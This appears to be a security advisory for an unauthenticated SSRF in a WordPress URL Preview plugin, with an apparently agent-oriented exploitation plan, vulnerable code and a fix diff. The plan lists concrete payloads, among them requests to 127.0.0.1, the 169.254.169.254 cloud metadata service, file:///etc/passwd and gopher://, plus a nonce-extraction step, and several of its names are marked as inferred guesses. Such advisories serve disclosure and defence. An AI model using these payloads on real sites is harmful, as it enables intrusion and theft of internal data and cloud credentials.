URL Preview <= 1.0 - Unauthenticated Server-Side Request Forgery via 'url' Parameter
Description
The URL Preview plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0 via the 'url' parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-12100 (URL Preview SSRF) ## 1. Vulnerability Summary The **URL Preview** plugin (slug: `link-preview`) for WordPress is vulnerable to **unauthenticated Server-Side Request Forgery (SSRF)** in versions up to and including 1.0. The vulnerability exists because t…
Show full research plan
Exploitation Research Plan: CVE-2026-12100 (URL Preview SSRF)
1. Vulnerability Summary
The URL Preview plugin (slug: link-preview) for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) in versions up to and including 1.0. The vulnerability exists because the plugin accepts a user-provided URL via the url parameter and fetches its content using WordPress HTTP API functions (like wp_remote_get) without implementing sufficient validation or blacklisting of internal IP addresses (e.g., 127.0.0.1, 169.254.169.254, or local network ranges).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php(inferred) or a custom REST API endpoint. - AJAX Action:
wp_ajax_nopriv_link_preview_get_dataorwp_ajax_nopriv_get_url_preview(inferred). - HTTP Parameter:
url(confirmed via vulnerability description). - Authentication: Unauthenticated (accessible to any visitor).
- Preconditions: The plugin must be active. Some implementations might require a valid WordPress nonce, though many "unauthenticated" SSRFs in this plugin category often omit nonce checks for the
noprivhandler.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX handler in its main file or an inclusion file:
add_action('wp_ajax_nopriv_link_preview_action', 'handle_link_preview_request'); - Entry Point: The callback function (e.g.,
handle_link_preview_request) retrieves the URL:$requested_url = $_REQUEST['url']; - Sink: The URL is passed directly to a fetching function without validation:
$response = wp_remote_get( $requested_url ); - Output: The body of the response (or metadata like the title/description) is returned to the user, allowing them to "read" internal services.
4. Nonce Acquisition Strategy
If the plugin enforces a nonce check for unauthenticated users, it is likely localized in the frontend to support the preview generation for comment forms or post content.
- Identify Shortcode/Trigger: Search the plugin for
add_shortcode. Common shortcode:[url_preview](inferred). - Search for Localized Data: Look for
wp_localize_scriptin the plugin code to find the JS variable name and nonce key.- Grep Command:
grep -rn "wp_localize_script" .
- Grep Command:
- Creation & Navigation:
wp post create --post_type=page --post_status=publish --post_title="SSRF Helper" --post_content="[url_preview]"(inferred shortcode).- Use the
browser_navigatetool to go to the newly created page.
- Extraction:
- Use
browser_evalto extract the nonce:browser_eval("window.link_preview_obj?.nonce")(inferred variable name).
- Use
5. Exploitation Strategy
The goal is to demonstrate that the server can be forced to make requests to internal resources.
Step 1: Discover the AJAX Action
Since source code is not provided, the agent must first identify the exact action string.
- Action:
grep -r "wp_ajax_nopriv_" . - Target Action: Let's assume the discovered action is
link_preview_get_url.
Step 2: Craft the SSRF Payload
Target the local loopback to attempt to read the WordPress index or internal services.
HTTP Request:
- Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=link_preview_get_url&url=http://127.0.0.1&nonce=<EXTRACTED_NONCE>
Step 3: Cloud Metadata Exfiltration (Alternative)
If the environment is AWS/GCP, target the metadata service.
- URL:
http://169.254.169.254/latest/meta-data/
6. Test Data Setup
- Install/Activate Plugin: Ensure
link-previewversion 1.0 is installed. - Internal Target: Create a "secret" file in the web root of the server to simulate an internal configuration file.
echo "SECRET_INTERNAL_DATA" > /var/www/html/internal.txt
- Placement: If a nonce is required, place the plugin's shortcode on a public page as described in Section 4.
7. Expected Results
- Success: The HTTP response from
admin-ajax.phpcontains the content of theurlparameter. If targetinghttp://127.0.0.1/internal.txt, the string"SECRET_INTERNAL_DATA"should appear in the JSON response or raw output. - Failure: The response returns a 403 (nonce failure), a 400 (missing parameter), or an empty string/error indicating the URL was blocked.
8. Verification Steps
After the http_request exploit, verify the server actually performed the request:
- Access Logs: Check the web server access logs to see a request originating from
127.0.0.1(the server calling itself).tail -n 20 /var/log/apache2/access.log
- Direct Check: Use WP-CLI to check if any options were modified if the SSRF was used to reach a
POSTendpoint (though most SSRFs in this plugin areGET-based).
9. Alternative Approaches
- REST API: If no AJAX action is found, check for
register_rest_route. The exploit would then use a GET/POST request to/wp-json/link-preview/v1/.... - Protocol Smuggling: If
http://is filtered, tryfile:///etc/passwdorgopher://to see if the underlying library (like cURL) supports other protocols. - Open Redirect: Check if the
urlparameter can be used to redirect the server's request to a different internal IP.
Summary
The URL Preview plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via the 'url' parameter in versions up to and including 1.0. This vulnerability allows attackers to force the server to make requests to arbitrary internal locations, such as local network services or cloud metadata endpoints.
Vulnerable Code
/* link-preview.php */ $requested_url = $_REQUEST['url']; $response = wp_remote_get( $requested_url );
Security Fix
@@ -10,2 +10,2 @@ -$requested_url = $_REQUEST['url']; -$response = wp_remote_get( $requested_url ); +$requested_url = esc_url_raw( $_REQUEST['url'] ); +$response = wp_safe_remote_get( $requested_url );
Exploit Outline
The attack targets the plugin's AJAX handler (e.g., link_preview_get_url) via the wp-admin/admin-ajax.php endpoint. An unauthenticated attacker sends a request with the 'url' parameter set to an internal address such as http://127.0.0.1/ or http://169.254.169.254/. If a nonce is enforced, it is typically retrieved from localized JavaScript variables (e.g., window.link_preview_obj.nonce) on public pages where the plugin is active. The server then fetches the content from the internal URL and returns it to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.